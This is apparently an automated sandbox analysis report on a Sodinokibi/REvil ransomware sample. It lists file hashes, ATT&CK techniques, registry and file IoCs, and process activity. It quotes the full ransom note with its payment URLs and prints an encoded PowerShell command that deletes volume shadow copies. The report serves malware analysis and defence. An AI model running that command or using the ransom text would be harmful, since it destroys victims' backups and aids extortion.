sodinokibi | d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c

General

Target

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
Size

164KB
MD5

1f0e494c8ed568615a04c265879ccd8e
SHA1

508eb9d543c3dd502989107029050ace012a59b9
SHA256

d63d1c46b1e83d54ad1d37bd0c8b62447060af35f53296c3059d75dc4d3fa15c
SHA512

696f44f8c31c0a4e6e1b4b7b22b95e51eca607731847d90cc258ed1d9502e8d3b94757d5f45df1759f02439694df9bb5c9c7f7de532afce2faca01ca18d1938e
SSDEEP

3072:VY+/DEGmOECUR5ai2XGmSQEjv5TpF+OjN57YpFLwhqdc0/:VY+gT/Cu8i2W5jh7xz72Llc

Score

10^/10

sodinokibi persistence ransomware

Malware Config

Extracted

Path

C:\Users\61430aq-wannadie.txt

Family

sodinokibi

Ransom Note

---=== Welcome. Again. ===--- [+] Whats Happen? [+] Your files are encrypted, and currently unavailable. You can check it: all files on your computer has extension 61430aq. By the way, everything is possible to recover (restore), but you need to follow our instructions. Otherwise, you cant return your data (NEVER). [+] What guarantees? [+] Its just a business. We absolutely do not care about you and your deals, except getting benefits. If we do not do our work and liabilities - nobody will not cooperate with us. Its not in our interests. To check the ability of returning files, You should go to our website. There you can decrypt one file for free. That is our guarantee. If you will not cooperate with our service - for us, its does not matter. But you will lose your time and data, cause just we have the private key. In practise - time is much more valuable than money. [+] How to get access on website? [+] You have two ways: 1) [Recommended] Using a TOR browser! a) Download and install TOR browser from this site: https://torproject.org/ b) Open our website: http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2E453B4D8692D45A 2) If TOR blocked in your country, try to use VPN! But you can use our secondary website. For this: a) Open your any browser (Chrome, Firefox, Opera, IE, Edge) b) Open our secondary website: http://decryptor.top/2E453B4D8692D45A Warning: secondary website can be blocked, thats why first variant much better and more available. When you open our website, put the following data in the input form: Key: h4hh/VOwG/TB6cIGOzzlWCaQQf9bPL9aH5aByQLrDEXIcpfOMG9DDT92xYC2QZk2 HSWM8gfr+FL4805EsqF54cWPn/4hzvKQ4UqRtnGjzdC+nr22Ud5xoKEgZIGa10SF rQ2VRImve2WL6cdEtP8fT/YpIZ1FnkoVqn7e7nnCaRMcPlJR1wdZzorGz/dsRln2 vE+KgZaN48gtLqSCkM7HSgTut7neCQBj5clrRApFTIyzUswVz8MHOWzebOwi1h9i lIfHFTPb9JDSGtgLsvmz2q9xT46g1WiJg/B+ZkL/0YT2vtlQMcJ2Pvxn0RLOdXQP Q2vYmVYerAXRpEaI6G9xQN06LgSUEivkw1zJ7M7ZObb+pjnm+14HDEwBw16XH8M6 FnRGMeomKoTxKkH83sbQkpTffS5bxePdXeR6IfQUJSJxt/0E/Jokeoj3z4Pj+0EN EhiUZHhC61nkvdCQmGVqXjYVJRvU3OvD7ttIqYITNhr6kH0GWa5YcqV7+nuV4hQa 6GdfbhjXH3oXMGS5HBwF5vA9alff9xMcxxKN0HWphrevb+bk/X17zH871+pl8jwU k+UF8p9Tfuk5L3ZGuu+yZzm+XT0OIWGYDztjuiiV0oeoCjOpzdmVD+rx72USnbSb 81mVYBhN7EN+f4/Ofy0wycX9icqi8ZMmi7boIDEsh2z3pzKroEFz4LOfmDO+YnZA M+zqFXj7DFtS9TMN05Hqk29ioDFYQ8k9Dsv8uhWxK+m2P2L4Pa3jBM21LBe0zjHQ /TC7B6mQOpZ8MlV7H1wDovWh42w1NxfKguRgx8mxsVorrjQRye0P54sYmvXa0Vy/ TyasxFzyeh6mwzORg4H4xAJiWiHAle43E9iC/tU18YunvzcNEqGh5mj30rfRm5kd ymGvCNavQ6s2lFMCIfiG2fOib0UbG9qirxWHeCcK3/Gl3B6RxGGodibuLr/rgLwi ocH069liZCIuzLivqYemVInBokNTynrWlBtCodKsEpj+0X8MpUyUsrk4gjEOukjD FCFWOrvxBiQLbN3+vWRt+NczIjJo2yFH2s2lXpKidzcSX1Y2hhQvs2uakOrpZ0Jo d6wHB/Xxs0UdI+MurVBAUtN/9aVLKv637GpxVw2KsU6FpyebNcqWpjOyTWIw3ldd IWWu/2T6zjx9QLNqUGqJYnUHO0VzPkPFJvVepvmnipwkZqW/XtJgJ5ES9O1hDmA8 hao9rLw4jmnVvPZRkWyiA7oVAMs= Extension name: 61430aq ----------------------------------------------------------------------------------------- !!! DANGER !!! DONT try to change files by yourself, DONT use any third party software for restoring your data or antivirus solutions - its may entail damge of the private key and, as result, The Loss all data. !!! !!! !!! ONE MORE TIME: Its in your interests to get your files back. From our side, we (the best specialists) make everything for restoring, but please should not interfere. !!! !!! !!!

URLs

http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/2E453B4D8692D45A

http://decryptor.top/2E453B4D8692D45A

Signatures

Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
ransomware sodinokibi

Adds Run key to start application 2 TTPs 1 IoCs

persistence

Registry Run Keys / Startup Folder

T1547.001

Modify Registry

T1112

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\lNOWZyAWVv = "C:\\Users\\Admin\\AppData\\Local\\Temp\\1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe"	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Enumerates connected drives 3 TTPs 25 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	ioc	process
File opened (read-only)	\??\X:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\O:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\R:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\W:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\M:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\V:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\Z:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\A:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\E:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\Q:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\G:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\H:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\T:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\D:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\F:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\B:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\L:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\N:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\P:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\K:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\S:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\Y:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\I:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\J:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened (read-only)	\??\U:	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Sets desktop wallpaper using registry 2 TTPs 1 IoCs

ransomware

Defacement

T1491

Modify Registry

T1112

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-3571316656-3665257725-2415531812-1000\Control Panel\Desktop\Wallpaper = "C:\\Users\\Admin\\AppData\\Local\\Temp\\j42i52p72u1l2.bmp"	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Drops file in Program Files directory 12 IoCs

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	ioc	process
File opened for modification	\??\c:\program files\SkipStep.xps	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\SplitStep.dotm	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File created	\??\c:\program files\61430aq-wannadie.txt	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File created	\??\c:\program files (x86)\61430aq-wannadie.txt	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ApproveConvertFrom.ADT	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\CompressConvertTo.mhtml	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GroupMount.ini	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\GroupPush.contact	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\InstallWait.avi	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\MeasurePop.vdw	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\ReadCopy.rtf	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
File opened for modification	\??\c:\program files\StopCompress.pps	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exepowershell.exe

pid	process
4172	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
4172	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
1192	powershell.exe
1192	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exevssvc.exe

description	pid	process
Token: SeDebugPrivilege	1192	powershell.exe
Token: SeBackupPrivilege	4564	vssvc.exe
Token: SeRestorePrivilege	4564	vssvc.exe
Token: SeAuditPrivilege	4564	vssvc.exe

Suspicious use of WriteProcessMemory 2 IoCs

Processes:

1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe

description	pid	process	target process
PID 4172 wrote to memory of 1192	4172	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe	powershell.exe
PID 4172 wrote to memory of 1192	4172	1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe	powershell.exe

Uses Volume Shadow Copy service COM API
The Volume Shadow Copy service is used to manage backups/snapshots.
ransomware

C:\Users\Admin\AppData\Local\Temp\1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe
"C:\Users\Admin\AppData\Local\Temp\1f0e494c8ed568615a04c265879ccd8e_JaffaCakes118.exe"
1⤵
- Adds Run key to start application
- Enumerates connected drives
- Sets desktop wallpaper using registry
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4172

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==
2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1192

C:\Windows\system32\wbem\unsecapp.exe
C:\Windows\system32\wbem\unsecapp.exe -Embedding
1⤵
PID:3152

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Suspicious use of AdjustPrivilegeToken
PID:4564

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

1

T1547

Registry Run Keys / Startup Folder

1

T1547.001

Defense Evasion

Modify Registry

2

T1112

Credential Access

Discovery

Query Registry

1

T1012

Peripheral Device Discovery

1

T1120

System Information Discovery

1

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Defacement

1

T1491

Resource Development

Reconnaissance

Replay Monitor

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Downloads

C:\Users\61430aq-wannadie.txt
Filesize
6KB

MD5
157a4e2b3a9ba6d71374efcb328e459b

SHA1
116d284427dbb77d33c5ee70b536e5e18e41342c

SHA256
ef8d71c46f551b928f8a4f6fe2ea7fdd4fe745b7cd680d0190cc1b074cf9cdd7

SHA512
9e5226e8a68e24b8e06399fd5ffd8e8c16cca15e908b8dd0baae56e404858efe13f61371edc8ccb9a4b23977c31abc7befa6c71d2c353d42ebf78cf23c7db77f

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_uraqqz0z.lgs.ps1
Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/1192-0-0x00007FFCF7F63000-0x00007FFCF7F65000-memory.dmp

Filesize
8KB

Download
memory/1192-1-0x00000222EB5D0000-0x00000222EB5F2000-memory.dmp

Filesize
136KB

Download
memory/1192-11-0x00007FFCF7F60000-0x00007FFCF8A21000-memory.dmp

Filesize
10.8MB

Download
memory/1192-12-0x00007FFCF7F60000-0x00007FFCF8A21000-memory.dmp

Filesize
10.8MB

Download
memory/1192-15-0x00007FFCF7F60000-0x00007FFCF8A21000-memory.dmp

Filesize
10.8MB

Download

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Matrix ATT&CK v13

Replay Monitor

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Downloads